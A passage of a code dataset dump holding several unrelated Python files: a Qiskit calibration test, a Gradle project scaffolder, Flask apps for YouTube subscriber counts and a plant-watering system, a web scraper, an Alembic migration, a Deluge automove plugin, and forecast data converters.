QuantumCircuit\nfrom qiskit.circuit.library import RZXGate\nfrom qiskit.pulse import Schedule\nfrom qiskit import *\n\nqc_cal = QuantumCircuit(2)\nqc_cal.rzx(0.5, 0, 1)\nqc_cal.add_calibration(RZXGate, (0, 1), params=[0.5], schedule=Schedule())\n\nqc_cal = transpile(qc_cal, backend)\nprint(qc_cal.calibrations)\n\nqc = QuantumCircuit(2)\nqc.h(0)\n\nnew_circ_cal_on_lhs = qc_cal + qc\nprint(new_circ_cal_on_lhs.calibrations) #calibration information is lost\n\nnew_circ_cal_on_rhs = qc +qc_cal\nprint(new_circ_cal_on_rhs.calibrations) #calibration information is kept","sub_path":"Terra_3/Test_4/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"190394398","text":"#!/usr/bin/python\n\nimport os\n\nbuild_file = '''\napply plugin: 'java'\n\next.versions = [\n logback: \"1.0.13\",\n junit: \"4.11\",\n hamcrest: \"1.3\"\n]\n\nrepositories {\n mavenCentral()\n}\n\ndependencies {\n compile group: \"ch.qos.logback\", name: \"logback-classic\", version: versions.logback\n\n testCompile group: \"junit\", name: \"junit\", version: versions.junit\n testCompile group: \"org.hamcrest\", name: \"hamcrest-all\", version: versions.hamcrest\n}\n\ntask wrapper(type: Wrapper) {\n gradleVersion = '1.10'\n}\n\ntasks.withType(Compile) {\n options.encoding = 'UTF-8'\n}\n\ntasks.withType(Test) {\n systemProperties = System.getProperties()\n testLogging.showStandardStreams = true\n}\n\n/*\nOft-used, cut and past-ready stuff.\njersey: \"1.17\"\ntestCompile \"com.sun.jersey:jersey-core:${versions.jersey}\"\ntestCompile \"com.sun.jersey:jersey-json:${versions.jersey}\"\ntestCompile \"com.sun.jersey:jersey-server:${versions.jersey}\"\ntestCompile \"com.sun.jersey:jersey-servlet:${versions.jersey}\"\ntestCompile \"com.sun.jersey:jersey-client:${versions.jersey}\"\ntestCompile \"com.xoom.oss:feathercon:1.3.2\"\n*/\n'''\n\napp_java = '''\npackage _PACKAGE_;\n\npublic class App {\n}\n'''\n\napp_test = '''\npackage _PACKAGE_;\n\nimport org.junit.Test;\n\npublic class AppTest {\n @Test\n public void testApp() {\n }\n}\n'''\n\n\ndef writeToFile(file_name, string):\n directory = os.path.dirname(file_name)\n if ( not os.path.exists(directory)):\n os.makedirs(directory)\n F = open(file_name, \"w\")\n F.write(string)\n F.close()\n\n\ndef main(project_dir, package):\n source_tree = ['main', 'test']\n for source in source_tree:\n os.makedirs('%s/src/%s/resources' % (project_dir, source))\n package_directory = package.replace(\".\", \"/\")\n writeToFile(\"%s/build.gradle\" % project_dir, build_file)\n writeToFile(\"%s/src/main/java/%s/App.java\" % (project_dir, package_directory),\n app_java.replace(\"_PACKAGE_\", package))\n writeToFile(\"%s/src/test/java/%s/AppTest.java\" % (project_dir, package_directory),\n app_test.replace(\"_PACKAGE_\", package))\n\n\ndef parse_arguments():\n import argparse\n\n parser = argparse.ArgumentParser(description='Gradle project builder')\n parser.add_argument('--project', required=True, help='project name')\n parser.add_argument('--package', required=True, help='package name')\n args = parser.parse_args()\n return args\n\n\nif __name__ == \"__main__\":\n options = parse_arguments()\n main(options.project, options.package)\n","sub_path":"create-java.py","file_name":"create-java.py","file_ext":"py","file_size_in_byte":2501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"589838720","text":"#!env/bin/python\nfrom flask import Flask, request, jsonify\nfrom config import WHITELIST\nimport youtube\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef hello():\n return \"Hello World!\"\n\n\n@app.route(\"/channel\")\ndef subscribers():\n channel_id = request.args.get(\"id\", type = str)\n device_id = request.args.get(\"dev\", type = str)\n for key in WHITELIST:\n if WHITELIST[key] == device_id:\n return jsonify(subCount=youtube.get_subscribers(channel_id))\n return jsonify(subcount=\"0\")\n\n@app.route(\"/channel/id\")\ndef get_id():\n search = request.args.get(\"search\", type = str)\n device_id = request.args.get(\"dev\", type = str)\n for key in WHITELIST:\n if WHITELIST[key] == device_id:\n return jsonify(channelId=youtube.get_channel_id(search))\n return jsonify(channelId=\"0\")\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5000)\n","sub_path":"server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"210724011","text":"import time\r\nimport json as json2\r\n\r\nfrom flask_user import login_required\r\nfrom flask import Flask, render_template, Blueprint, g, request\r\nfrom flask_socketio import SocketIO, send\r\nfrom sqlalchemy import create_engine\r\nfrom sqlalchemy.orm import Session\r\n\r\nfrom WateringApp.Models import Settings, Widget\r\nfrom WateringApp.materialien.SoilSensor import SoilSensor\r\nfrom WateringApp.materialien.Motor import Motor\r\nfrom WateringApp.Fachwerte.Humidity import Humidity\r\nimport WateringApp.WateringSystem as wsys\r\nfrom WateringApp.config import DB_BASE_URI, SQLALCHEMY_DATABASE_URI\r\n\r\n\r\n\r\nsocketio = SocketIO()\r\n# uri = URI(DB_BASE_URI, DB_NAME, DB_USERNAME, DB_PASSWORD)\r\n# uri = uri.get_uri_string()\r\nengine = create_engine(SQLALCHEMY_DATABASE_URI)\r\nsession = Session(engine)\r\n\r\n\r\n\r\nwidget = Blueprint('widget', __name__)\r\nwidget_no_auth = Blueprint('widget_no_auth', __name__)\r\nactivate_pump = Blueprint('activate_pump', __name__)\r\nget_widget_state = Blueprint('get_widget_state', __name__)\r\ntoggle_auto_mode = Blueprint('toggle_auto_mode', __name__)\r\n\r\nupdate_activation_level = Blueprint('update_activation_level', __name__)\r\nget_activation_level = Blueprint('get_activation_level', __name__)\r\nget_json = Blueprint('get_json', __name__)\r\n\r\n\r\n@socketio.on('message')\r\ndef message_func(msg):\r\n\r\n engine = create_engine(SQLALCHEMY_DATABASE_URI)\r\n session = Session(engine)\r\n\r\n\r\n valArray = []\r\n average = 0\r\n activeAmount = 0\r\n results = {}\r\n channel = {}\r\n\r\n\r\n water_level = wsys.wsys.get_water_level()\r\n\r\n\r\n\r\n for i in range(SoilSensor.AMOUNT + 1):\r\n sensor = SoilSensor(i)\r\n humidity = sensor.getHumidity()\r\n json = humidity.toJSONString()\r\n with session as sess:\r\n reservoir_size = sess.query(Settings).first().reservoir_size\r\n\r\n if humidity.getValue() > 100:\r\n average += humidity.getValue()\r\n activeAmount += 1\r\n json[\"active\"] = 1\r\n\r\n else:\r\n json[\"active\"] = 0\r\n json[\"value\"] = \"-\"\r\n json[\"percent\"] = \"-\"\r\n json[\"percentString\"] = \"-\"\r\n json[\"channel\"] = i\r\n valArray.append(json)\r\n\r\n # print('activeAmount: ' + str(activeAmount))\r\n average = round(average / activeAmount)\r\n avg_humidity = Humidity.intToHumidity(average)\r\n channel[\"channel\"] = valArray\r\n results[\"results\"] = channel\r\n\r\n # TODO: do this calculation in fachwerte\r\n results['results']['water_level'] = water_level * (60/reservoir_size)\r\n channel[\"average\"] = avg_humidity.toJSONString()\r\n\r\n send(json2.dumps(results), broadcast=True)\r\n\r\n # print(msg)\r\n\r\n@widget.route(\"/widget/\")\r\n@login_required\r\ndef widget_func(sensor_nr):\r\n # TODO: for now initialize last_activation and current_water_level when the page is opened\r\n # should be only initialized once when the program starts in the future\r\n\r\n # values = SoilSensor(1).getHumidity()\r\n # values = values.inPercent()\r\n return render_template(\"widget.html\", sensor_nr=sensor_nr)\r\n\r\n\r\n@widget_no_auth.route(\"/widget_no_auth/\")\r\ndef widget_no_auth_func(sensor_nr):\r\n return render_template(\"widget_no_auth.html\", sensor_nr=sensor_nr)\r\n\r\n@activate_pump.route(\"/activatePump\")\r\n@login_required\r\ndef activate_pump_func():\r\n # TODO: update water level\r\n motor = Motor()\r\n motor.continuous(\"right\")\r\n motor.stop()\r\n with session as sess:\r\n wsys.wsys.update_water_level(sess)\r\n\r\n return \"Successfully started Motor\"\r\n\r\n\r\n@get_widget_state.route(\"/getWidgetState\")\r\ndef get_widget_state_func():\r\n with session as sess:\r\n widget_state = sess.query(Widget).first().widget_state\r\n\r\n wsys.wsys.set_state(widget_state)\r\n\r\n return str(widget_state)\r\n\r\n\r\n@toggle_auto_mode.route(\"/toggleAutoMode\")\r\n@login_required\r\ndef toggle_auto_mode_func():\r\n\r\n engine = create_engine(SQLALCHEMY_DATABASE_URI)\r\n session = Session(engine)\r\n\r\n with session as sess:\r\n if sess.query(Widget).first().widget_state:\r\n\r\n sess.query(Widget).first().widget_state = False\r\n sess.commit()\r\n STOP = True\r\n # daemon.stop = False\r\n wsys.wsys.set_state(False)\r\n\r\n else:\r\n sess.query(Widget).first().widget_state = True\r\n sess.commit()\r\n wsys.wsys.set_state(True)\r\n\r\n result = str(sess.query(Widget).first().widget_state)\r\n\r\n return result\r\n\r\n\r\n@update_activation_level.route(\"/updateActivationLevel\", methods=['POST'])\r\n@login_required\r\ndef update_activation_level_func():\r\n if request.method == \"POST\":\r\n activation_level = request.form['data']\r\n # print('activation_level: ' + str(activation_level))\r\n with session as sess:\r\n sess.query(Settings).first().activation_level = request.form['data']\r\n sess.commit()\r\n wsys.wsys.set_activation_level(int(activation_level))\r\n return 'updated Activation Level'\r\n\r\n@get_activation_level.route(\"/getActivationLevel\", methods=['POST'])\r\n@login_required\r\ndef getActivationLevel():\r\n if request.method == \"POST\":\r\n with session as sess:\r\n value = sess.query(Settings).first().activation_level\r\n\r\n\r\n\r\n return str(value)\r\n\r\n@get_json.route(\"/json\")\r\ndef get_json_func():\r\n\r\n engine = create_engine(SQLALCHEMY_DATABASE_URI)\r\n session = Session(engine)\r\n\r\n\r\n valArray = []\r\n average = 0\r\n activeAmount = 0\r\n results = {}\r\n channel = {}\r\n\r\n\r\n water_level = wsys.wsys.get_water_level()\r\n\r\n\r\n\r\n for i in range(SoilSensor.AMOUNT + 1):\r\n sensor = SoilSensor(i)\r\n humidity = sensor.getHumidity()\r\n json = humidity.toJSONString()\r\n with session as sess:\r\n reservoir_size = sess.query(Settings).first().reservoir_size\r\n\r\n if humidity.getValue() > 100:\r\n average += humidity.getValue()\r\n activeAmount += 1\r\n json[\"active\"] = 1\r\n\r\n else:\r\n json[\"active\"] = 0\r\n json[\"value\"] = \"-\"\r\n json[\"percent\"] = \"-\"\r\n json[\"percentString\"] = \"-\"\r\n json[\"channel\"] = i\r\n valArray.append(json)\r\n\r\n # print('activeAmount: ' + str(activeAmount))\r\n average = round(average / activeAmount)\r\n avg_humidity = Humidity.intToHumidity(average)\r\n channel[\"channel\"] = valArray\r\n results[\"results\"] = channel\r\n\r\n # TODO: do this calculation in fachwerte\r\n results['results']['water_level'] = water_level * (60/reservoir_size)\r\n channel[\"average\"] = avg_humidity.toJSONString()\r\n\r\n # print(results)\r\n # valArray.append(\"\\\"average\\\" :\" + \"\\\"\" + str(average) + \"\\\"\")\r\n\r\n # print(valArray)\r\n return json2.dumps(results)\r\n # return values\r\n","sub_path":"WateringApp/werkzeuge/WidgetWerkzeug.py","file_name":"WidgetWerkzeug.py","file_ext":"py","file_size_in_byte":6722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"161359931","text":"#!/usr/bin/env python\n\"\"\"Test the converters.\n\nThis verifies results from tests built into the _registerconverters module.\n\"\"\"\n\nimport unittest\nfrom pyobjcryst._pyobjcryst import getTestVector, getTestMatrix\nimport numpy\n\nclass TestConverters(unittest.TestCase):\n\n def testVector(self):\n tv = numpy.array(range(3), dtype=float)\n v = getTestVector()\n self.assertTrue( numpy.array_equal(tv, v) )\n return\n\n def testMatrix(self):\n tm = numpy.array(range(6), dtype=float).reshape(3,2)\n m = getTestMatrix()\n self.assertTrue( numpy.array_equal(tm, m) )\n return\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"pyobjcryst/tests/testconverters.py","file_name":"testconverters.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"551143766","text":"from bs4 import BeautifulSoup as soup\nfrom urllib.request import urlopen as uReq\n\nweb_url = 'https://www.flipkart.com/search?q=iphone&otracker=start&as-show=on&as=off'\n\nuClient = uReq(web_url) # uReq -> connection open and stored on variable uClient\npage_html = uClient.read() # variable send to read function then gather all data that send to variable page_html\nuClient.close() # connection is closed\npage_soup = soup (page_html, \"html.parser\") # It's large html file of webpage\n\ncontainers = page_soup.findAll(\"div\", {\"class\": \"_13oc-S\"}) # get from main class from web that hold all the contentainers it also find div tag with the class\n# print (len(containers)) # print the length of the containers\n\n# print(soup.prettify(containers[0]))\n\n\ncontainer = containers[0]\n# print(container.div.img[\"alt\"])\n\n\nprice=container.findAll(\"div\",{\"class\":\"_4921Z t0pPfW\"}) # price tag get from class\nprint(price[0].text)\n\n\n\nratings = container.findAll(\"div\",{\"class\":\"niHOFQ\"}) # tag show the rating from web\nprint(ratings[0].text)\n\nfilename = \"products.csv\" # Creating file\nf = open(filename,\"w\") # Normal convention of f title\n\nheaders= \"Product_Name, Pricing, Ratings\\n\" # CSV have headers, so just created manually that hold all info\nf.write(headers)\n\nfor contrainer in containers: # for loop\n product_name = contrainer.div.img[\"alt\"] # Get product name\n\n price_container = container.findAll(\"div\", {\"class\":\"col col-5-12 _2o7WAb\"}) # set tag price\n price = price_container[0].text.strip() # get price of product\n\n rating_container = container.findAll(\"div\", {\"class\":\"niHOFQ\"}) # set the rating tag\n rating = rating_container[0].text # know the rating of product\n\n # print(\"product_name:\" + product_name)\n # print(\"price:\" + price)\n # print(\"ratings:\" + rating)\n\n #string parsing\n\n trim_price = ''.join(price.split(',')) # splitting the price\n rm_USD = trim_price.split(\"$\")\n add_USD_price = \"USD.\" + rm_USD[1] # price in USD\n split_price = add_USD_price.split('E') # If provide EMI option then need to setup E\n final_price = split_price[0]\n\n split_rating = ratings.split(\" \")\n final_rating = split_rating[0] #\n\n print(product_name.replace(\",\", \"|\") + final_price + \",\" + final_rating + \"\\n\") # replace function set the comma\n f.write(product_name.replace(\",\", \"|\") + \",\" + final_price + \",\" + final_rating + \"\\n\") # concatenating and file save to the folder\n\nf.close()\n","sub_path":"Web-Scraping.py","file_name":"Web-Scraping.py","file_ext":"py","file_size_in_byte":2420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"79799926","text":"\"\"\"updadte bio\n\nRevision ID: 9b3bc308cd93\nRevises: 74cce18ddfd4\nCreate Date: 2021-06-14 18:46:32.558966\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = '9b3bc308cd93'\ndown_revision = '74cce18ddfd4'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('pitches', sa.Column('date_posted', sa.DateTime(), nullable=True))\n op.add_column('pitches', sa.Column('category', sa.String(length=255), nullable=False))\n op.drop_index('ix_pitches_categories', table_name='pitches')\n op.create_index(op.f('ix_pitches_category'), 'pitches', ['category'], unique=False)\n op.drop_column('pitches', 'categories')\n op.drop_column('pitches', 'time')\n op.add_column('users', sa.Column('bio', sa.String(length=255), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('users', 'bio')\n op.add_column('pitches', sa.Column('time', postgresql.TIMESTAMP(), autoincrement=False, nullable=True))\n op.add_column('pitches', sa.Column('categories', sa.VARCHAR(length=255), autoincrement=False, nullable=False))\n op.drop_index(op.f('ix_pitches_category'), table_name='pitches')\n op.create_index('ix_pitches_categories', 'pitches', ['categories'], unique=False)\n op.drop_column('pitches', 'category')\n op.drop_column('pitches', 'date_posted')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/9b3bc308cd93_updadte_bio.py","file_name":"9b3bc308cd93_updadte_bio.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"150144690","text":"#i = 6\n#while i>5 and i<19:\n# i+=1\n# print(i)\n\n\n#even numbers between 12 and 20\ni = 12\nwhile i>11 and i<20:\n i+=1\n if i%2==0:\n print(i)","sub_path":"whiie_loop.py","file_name":"whiie_loop.py","file_ext":"py","file_size_in_byte":154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"343507938","text":"#\n# gtkui.py\n#\n# Copyright (C) 2009 Thibault Person \n#\n# Basic plugin template created by:\n# Copyright (C) 2008 Martijn Voncken \n# Copyright (C) 2007-2009 Andrew Resch \n# Copyright (C) 2009 Damien Churchill \n#\n# Deluge is free software.\n#\n# You may redistribute it and/or modify it under the terms of the\n# GNU General Public License, as published by the Free Software\n# Foundation; either version 3 of the License, or (at your option)\n# any later version.\n#\n# deluge is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n# See the GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with deluge. If not, write to:\n# \tThe Free Software Foundation, Inc.,\n# \t51 Franklin Street, Fifth Floor\n# \tBoston, MA 02110-1301, USA.\n#\n# In addition, as a special exception, the copyright holders give\n# permission to link the code of portions of this program with the OpenSSL\n# library.\n# You must obey the GNU General Public License in all respects for all of\n# the code used other than OpenSSL. If you modify file(s) with this\n# exception, you may extend this exception to your version of the file(s),\n# but you are not obligated to do so. If you do not wish to do so, delete\n# this exception statement from your version. If you delete this exception\n# statement from all source files in the program, then also delete it here.\n#\n\nimport gtk\n\nfrom deluge.log import LOG as log\nfrom deluge.ui.client import client\nfrom deluge.plugins.pluginbase import GtkPluginBase\nimport deluge.component as component\nimport deluge.common\n\nfrom common import get_resource\n\n\nclass TrackerDialog(gtk.Dialog):\n\tdef __init__(self, parent, tracker=\"\", dest=\"\", command=\"\"):\n\t\tgtk.Dialog.__init__(self, \"Tracker rule edit\" , parent, 0,\n\t\t\t(gtk.STOCK_CANCEL, gtk.RESPONSE_CANCEL,\n\t\t\tgtk.STOCK_OK, gtk.RESPONSE_OK))\n\t\tself.set_default_size(400,150)\n\t\tbox = self.get_content_area()\n\t\tvbox = gtk.VBox()\n\n\t\thbox_url = gtk.HBox()\n\t\tlbl_url = gtk.Label(\"Tracker URL*: \")\n\t\tself.txt_url = gtk.Entry()\n\t\tself.set_tracker(tracker)\n\t\tself.txt_url.connect(\"changed\", self.entrychanged)\n\t\thbox_url.pack_start(lbl_url,False, False, 5)\n\t\thbox_url.pack_start(self.txt_url,True, True, 5)\n\t\tvbox.pack_start(hbox_url,False, False, 5)\n\n\t\thbox_dst = gtk.HBox()\n\t\tlbl_dst = gtk.Label(\"Destination folder*: \")\n\t\tself.txt_dst = gtk.Entry()\n\t\tself.set_destination(dest)\n\t\tself.txt_dst.connect(\"changed\", self.entrychanged)\n\t\thbox_dst.pack_start(lbl_dst,False, False, 5)\n\t\thbox_dst.pack_start(self.txt_dst,True, True, 5)\n\t\tvbox.pack_start(hbox_dst,False, False, 5)\n\n\t\thbox_cmd = gtk.HBox()\n\t\tlbl_cmd = gtk.Label(\"Command: \")\n\t\tself.txt_cmd = gtk.Entry()\n\t\tself.set_command(command)\n\t\thbox_cmd.pack_start(lbl_cmd,False, False, 5)\n\t\thbox_cmd.pack_start(self.txt_cmd,True, True, 5)\n\t\tvbox.pack_start(hbox_cmd,False, False, 5)\n\n\t\tbtn = self.get_widget_for_response(gtk.RESPONSE_OK)\n\t\tbtn.set_sensitive(self.entryfilled())\n\n\n\t\tbox.add(vbox)\n\t\tself.show_all()\n\n\n\tdef entryfilled(self):\n\t\treturn (self.txt_url.get_text_length()>0) and (self.txt_dst.get_text_length()>0)\n\n\n\tdef entrychanged(self, entry):\n\t\tbtn = self.get_widget_for_response(gtk.RESPONSE_OK)\n\t\tbtn.set_sensitive (self.entryfilled())\n\n\tdef get_tracker(self):\n\t\treturn self.txt_url.get_text()\n\n\tdef set_tracker(self, tracker):\n\t\tself.txt_url.set_text(tracker)\n\n\n\tdef get_destination(self):\n\t\treturn self.txt_dst.get_text()\n\n\tdef set_destination(self, dst):\n\t\tself.txt_dst.set_text(dst)\n\n\tdef get_command(self):\n\t\treturn self.txt_cmd.get_text()\n\n\tdef set_command(self, cmd):\n\t\tself.txt_cmd.set_text(cmd)\n\n\nclass GtkUI(GtkPluginBase):\n\tdef enable(self):\n\t\tlog.info(\"applying prefs for automove\")\n\n\t\tcomponent.get(\"PluginManager\").register_hook(\"on_apply_prefs\", self.on_apply_prefs)\n\t\tcomponent.get(\"PluginManager\").register_hook(\"on_show_prefs\", self.on_show_prefs)\n\t\tself.load_ui()\n\t\tself.dirty = False\n\n\n\n\n\tdef disable(self):\n\t\tlog.info(\"applying prefs for automove\")\n\t\tcomponent.get(\"Preferences\").remove_page(\"automove\")\n\n\n\n\tdef load_ui(self):\n\t\tmainWindow = gtk.Frame()\n\t\tself.window = mainWindow\n\t\tbtnAdd = gtk.Button(stock=gtk.STOCK_ADD)\n\t\tbtnAdd.connect(\"clicked\", self.on_add_tracker)\n\t\tself.btnEdit = gtk.Button(stock=gtk.STOCK_EDIT)\n\t\tself.btnEdit.connect(\"clicked\", self.on_edit_tracker)\n\t\tself.btnDelete = gtk.Button(stock=gtk.STOCK_DELETE)\n\t\tself.btnDelete.connect(\"clicked\", self.on_delete_tracker)\n\n\t\tvBox = gtk.VBox(homogeneous=False, spacing=6)\n\t\thBox = gtk.HBox(homogeneous=False, spacing=6)\n\n\t\tvBox.pack_start(hBox, False, False, 0)\n\t\thBox.pack_end(self.btnDelete, False, False, 5)\n\t\thBox.pack_end(self.btnEdit, False, False, 5)\n\t\thBox.pack_end(btnAdd, False, False, 5)\n\n\t\tself.liststore= gtk.ListStore (str,str,str);\n\t\tself.treeview = gtk.TreeView(self.liststore)\n\t\t#self.treeview.connect(\"cursor-changed\", self.treeviewselected)\n\t\tcol_url = gtk.TreeViewColumn('Tracker')\n\t\tcol_dst = gtk.TreeViewColumn('Destination')\n\t\tcol_cmd = gtk.TreeViewColumn('Command')\n\n\t\t# add columns to treeview\n\t\tself.treeview.append_column(col_url)\n\t\tself.treeview.append_column(col_dst)\n\t\tself.treeview.append_column(col_cmd)\n\t\tcell_url = gtk.CellRendererText()\n\t\tcell_url.editable = True\n\t\tcol_url.pack_start(cell_url, True)\n\t\tcol_url.add_attribute(cell_url, \"text\", 0)\n\t\tcell_dst = gtk.CellRendererText()\n\t\tcol_dst.pack_start(cell_dst, True)\n\t\tcol_dst.add_attribute(cell_dst, \"text\", 1)\n\t\tcell_cmd = gtk.CellRendererText()\n\t\tcol_cmd.pack_start(cell_cmd, True)\n\t\tcol_cmd.add_attribute(cell_cmd, \"text\", 2)\n\n\t\tvBox.pack_end(self.treeview)\n\t\tmainWindow.add(vBox)\n\t\tmainWindow.show_all()\n\t\tcomponent.get(\"Preferences\").add_page(\"automove\", self.window)\n\n\tdef on_add_tracker(self, widget):\n\t\tdialog = TrackerDialog(None)\n\t\tresponse = dialog.run()\n\t\tif response == gtk.RESPONSE_OK:\n\t\t\tself.liststore.append(row=[dialog.get_tracker(),\n\t\t\t\tdialog.get_destination(), dialog.get_command()])\n\t\t\tself.dirty = True\n\t\tdialog.destroy()\n\n\tdef on_edit_tracker(self, widget):\n\t\tmodel, it = self.treeview.get_selection().get_selected()\n\t\tif it:\n\t\t\tu= model.get_value(it, 0)\n\t\t\td= model.get_value(it, 1)\n\t\t\tc= model.get_value(it, 2)\n\t\t\tdialog = TrackerDialog(None, u, d, c)\n\t\t\tresponse = dialog.run()\n\t\t\tif response == gtk.RESPONSE_OK:\n\t\t\t\tself.liststore.set_value(it, 0, dialog.get_tracker())\n\t\t\t\tself.dirty = True\n\t\t\tdialog.destroy()\n\n\n\tdef on_delete_tracker(self, widget):\n\t\tmodel, it = self.treeview.get_selection().get_selected()\n\t\tif it:\n\t\t\tmodel.remove(it)\n\n\tdef populate_list(self):\n\t\tif self.dirty :\n\t\t\tlog.info(\"List in dirty state, don't reload prefs\")\n\t\t\treturn\n\t\tself.liststore.clear()\n\t\tfor t in self.config[\"trackers\"]:\n\t\t\tself.liststore.append(row=[ t[\"url\"], t[\"dst\"], t[\"cmd\"] ])\n\n\tdef on_apply_prefs(self):\n\t\tlog.info(\"applying prefs for automove\")\n\t\t#dump the list\n\t\ttl = []\n\t\tfor row in self.liststore:\n\t\t\ttl.append({\"url\": row[0], \"dst\": row[1], \"cmd\": row[2] })\n\n\t\tself.config[\"trackers\"] = tl\n\t\tclient.automove.set_config(self.config)\n\t\tself.dirty = False\n\n\tdef on_show_prefs(self):\n\t\tclient.automove.get_config().addCallback(self.cb_get_config)\n\t\tself.populate_list()\n\n\tdef cb_get_config(self, config):\n\t\t\"callback for on show_prefs\"\n\t\tself.config = config\n","sub_path":"automove/gtkui.py","file_name":"gtkui.py","file_ext":"py","file_size_in_byte":7368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"205571435","text":"# coding: utf-8\n\n\"\"\"Collection of Functions to convert API responses into python objects\nand vice versa.\n\"\"\"\nimport base64\nfrom functools import wraps\nfrom inspect import signature\nimport zlib\n\n\nimport pandas as pd\nimport pyarrow as pa\n\n\nfrom solarforecastarbiter import datamodel\n\n\ndef _dataframe_to_json(payload_df):\n payload_df.index.name = 'timestamp'\n json_vals = payload_df.tz_convert(\"UTC\").reset_index().to_json(\n orient=\"records\", date_format='iso', date_unit='s')\n return '{\"values\":' + json_vals + '}'\n\n\ndef observation_df_to_json_payload(\n observation_df, default_quality_flag=None):\n \"\"\"Extracts a variable from an observation DataFrame and formats it\n into a JSON payload for posting to the Solar Forecast Arbiter API.\n\n Parameters\n ----------\n observation_df : DataFrame\n Dataframe of observation data. Must contain a tz-aware DateTimeIndex\n and a 'value' column. May contain a column of data quality\n flags labeled 'quality_flag'.\n default_quality_flag : int\n If 'quality_flag' is not a column, the quality flag for each row is\n set to this value.\n\n Returns\n -------\n string\n SolarForecastArbiter API JSON payload for posting to the observation\n endpoint. See Notes section for example.\n\n Notes\n -----\n Function returns an object in the following format:\n\n .. code::\n\n {\n 'values': [\n {\n “timestamp”: “2018-11-22T12:01:48Z”, # ISO 8601 datetime in UTC\n “value”: 10.23, # floating point value of observation\n “quality_flag”: 0\n },...\n ]\n }\n\n Raises\n ------\n KeyError\n When 'value' is missing from the columns or 'quality_flag'\n is missing and default_quality_flag is None\n \"\"\"\n if default_quality_flag is None:\n payload_df = observation_df[['value', 'quality_flag']]\n else:\n payload_df = observation_df[['value']]\n payload_df['quality_flag'] = int(default_quality_flag)\n return _dataframe_to_json(payload_df)\n\n\ndef forecast_object_to_json(forecast_series):\n \"\"\"\n Converts a forecast Series to JSON to post to the\n SolarForecastArbiter API.\n\n Parameters\n ----------\n forecast_series : pandas.Series\n The series that contains the forecast values with a\n datetime index.\n\n Returns\n -------\n string\n The JSON encoded forecast values dict\n \"\"\"\n payload_df = forecast_series.to_frame('value')\n return _dataframe_to_json(payload_df)\n\n\ndef _json_to_dataframe(json_payload):\n # in the future, might worry about reading the response in chunks\n # to stream the data and avoid having it all in memory at once,\n # but 30 days of 1 minute data is probably ~4 MB of text. A better\n # approach would probably be to switch to a binary format.\n vals = json_payload['values']\n if len(vals) == 0:\n df = pd.DataFrame([], columns=['value', 'quality_flag'],\n index=pd.DatetimeIndex([], name='timestamp'))\n else:\n df = pd.DataFrame.from_dict(json_payload['values'])\n df.index = pd.to_datetime(df['timestamp'], utc=True,\n infer_datetime_format=True)\n return df\n\n\ndef json_payload_to_observation_df(json_payload):\n \"\"\"\n Convert the JSON payload dict as returned by the SolarForecastArbiter API\n observations/values endpoint into a DataFrame\n\n Parameters\n ----------\n json_payload : dict\n Dictionary as returned by the API with a \"values\" key which is a list\n of dicts like {'timestamp': , 'value': ,\n 'quality_flag': }\n\n Returns\n -------\n pandas.DataFrame\n With a tz-aware DatetimeIndex and ['value', 'quality_flag'] columns\n \"\"\"\n df = _json_to_dataframe(json_payload)\n return df[['value', 'quality_flag']]\n\n\ndef json_payload_to_forecast_series(json_payload):\n \"\"\"\n Convert the JSON payload dict as returned by the SolarForecastArbiter API\n forecasts/values endpoing into a Series\n\n Parameters\n ----------\n json_payload : dict\n Dictionary as returned by the API with a \"values\" key which is a list\n of dicts like {'timestamp': , 'value': }\n\n Returns\n -------\n pandas.Series\n With a tz-aware DatetimeIndex\n \"\"\"\n\n df = _json_to_dataframe(json_payload)\n return df['value']\n\n\ndef adjust_start_end_for_interval_label(interval_label, start, end,\n limit_instant=False):\n \"\"\"\n Adjusts the start and end times depending on the interval_label.\n\n Parameters\n ----------\n interval_label : str or None\n The interval label for the the object the data represents\n start : pandas.Timestamp\n Start time to restrict data to\n end : pandas.Timestamp\n End time to restrict data to\n limit_instant : boolean\n If true, an interval label of 'instant' will remove a nanosecond\n from end to ensure forecasts do not overlap. If False, instant\n returns start, end unmodified\n\n Returns\n -------\n start, end\n Return the adjusted start and end\n\n Raises\n ------\n ValueError\n If an invalid interval_label is given\n\n Examples\n --------\n .. testsetup::\n\n from solarforecastarbiter.io.utils import *\n\n Define input start/end:\n\n >>> start = pd.Timestamp('20190101 1200Z')\n >>> end = pd.Timestamp('20190101 1300Z')\n\n Beginning:\n\n >>> adjust_start_end_for_interval_label('beginning', start, end)\n (Timestamp('2019-01-01 12:00:00+0000', tz='UTC'), Timestamp('2019-01-01 12:59:59.999999999+0000', tz='UTC'))\n\n Ending:\n\n >>> adjust_start_end_for_interval_label('ending', 